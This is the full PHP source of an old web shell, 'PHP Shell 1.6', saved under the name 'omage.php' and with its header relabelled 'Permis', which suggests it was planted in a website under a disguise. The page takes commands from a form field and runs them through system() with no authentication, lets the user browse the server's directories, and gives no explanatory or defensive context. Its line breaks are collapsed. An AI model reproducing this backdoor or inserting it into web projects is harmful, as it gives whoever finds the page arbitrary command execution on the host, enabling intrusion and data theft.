omage.php

<?phpdefine('PHPSHELL_VERSION', '1.6');/*  **************************************************************  *                        Permis                              *  **************************************************************  $Id: phpshell.php,v 1.16 2002/03/23 10:24:52 gimpster Exp $   */?><html><head><title>Permis <?php echo PHPSHELL_VERSION ?></title></head><body><h1>PHP Shell <?php echo PHPSHELL_VERSION ?></h1><?php/* First we check if there has been asked for a working directory. */if (!empty($work_dir)) {  /* A workdir has been asked for */  if (!empty($command)) {    if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) {      if ($regs[1][0] == '/') {        $new_dir = $regs[1];      } else {        $new_dir = $work_dir . '/' . $regs[1];      }      if (file_exists($new_dir) && is_dir($new_dir)) {        $work_dir = $new_dir;      }      unset($command);    }  }}/* we chdir to that dir. */if (file_exists($work_dir) && is_dir($work_dir)) {  chdir($work_dir);  $work_dir = exec("pwd");} else {  /* No work_dir - we chdir to $DOCUMENT_ROOT */  chdir($DOCUMENT_ROOT);  $work_dir = $DOCUMENT_ROOT;}?><form name="myform" action="<?php echo $PHP_SELF ?>" method="post"><p>Current working directory: <b><?php$work_dir_splitted = explode("/", substr($work_dir, 1));echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "/&command=" . urlencode($command) . "\">Root</a>/";if ($work_dir_splitted[0] == "") {    $work_dir = "/";  /* Root directory. */} else {  for ($i = 0; $i < count($work_dir_splitted); $i++) {    /*  echo "i = $i";*/    $url .= "/".$work_dir_splitted[$i];    echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "&command=" . urlencode($command) . "\">$work_dir_splitted[$i]</a>/";  }}?></b></p><p>Choose new working directory:<select name="work_dir" onChange="this.form.submit()"><?php/* Now we make a list of the directories. */$dir_handle = opendir($work_dir);/* Run through all the files and directories to find the dirs. */while ($dir = readdir($dir_handle)) {  if (is_dir($dir)) {    if ($dir == ".") {      echo "<option value=\"$work_dir\" selected>Current Directory</option>\n";    } elseif ($dir == "..") {      /* We have found the parent dir. We must be carefull if the parent 	 directory is the root directory (/). */      if (strlen($work_dir) == 1) {	/* work_dir is only 1 charecter - it can only be / There's no          parent directory then. */      } elseif (strrpos($work_dir, "/") == 0) {	/* The last / in work_dir were the first charecter.	   This means that we have a top-level directory	   eg. /bin or /home etc... */      echo "<option value=\"/\">Parent Directory</option>\n";      } else {      /* We do a little bit of string-manipulation to find the parent	 directory... Trust me - it works :-) */      echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n";      }    } else {      if ($work_dir == "/") {	echo "<option value=\"$work_dir$dir\">$dir</option>\n";      } else {	echo "<option value=\"$work_dir/$dir\">$dir</option>\n";      }    }  }}closedir($dir_handle);?></select></p><p>Command: <input type="text" name="command" size="60"><input name="submit_btn" type="submit" value="Execute Command"></p><p>Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"></p><textarea cols="80" rows="20" readonly><?phpif (!empty($command)) {  if ($stderr) {    $tmpfile = tempnam('/tmp', 'phpshell');    $command .= " 1> $tmpfile 2>&1; " .    "cat $tmpfile; rm $tmpfile";  } else if ($command == 'ls') {    /* ls looks much better with ' -F', IMHO. */    $command .= ' -F';  }  system($command);}?></textarea></form><script language="JavaScript" type="text/javascript">document.forms[0].command.focus();</script><hr><i>Copyright &copy; 2000-2002, <ahref="</a>.</i></body></html>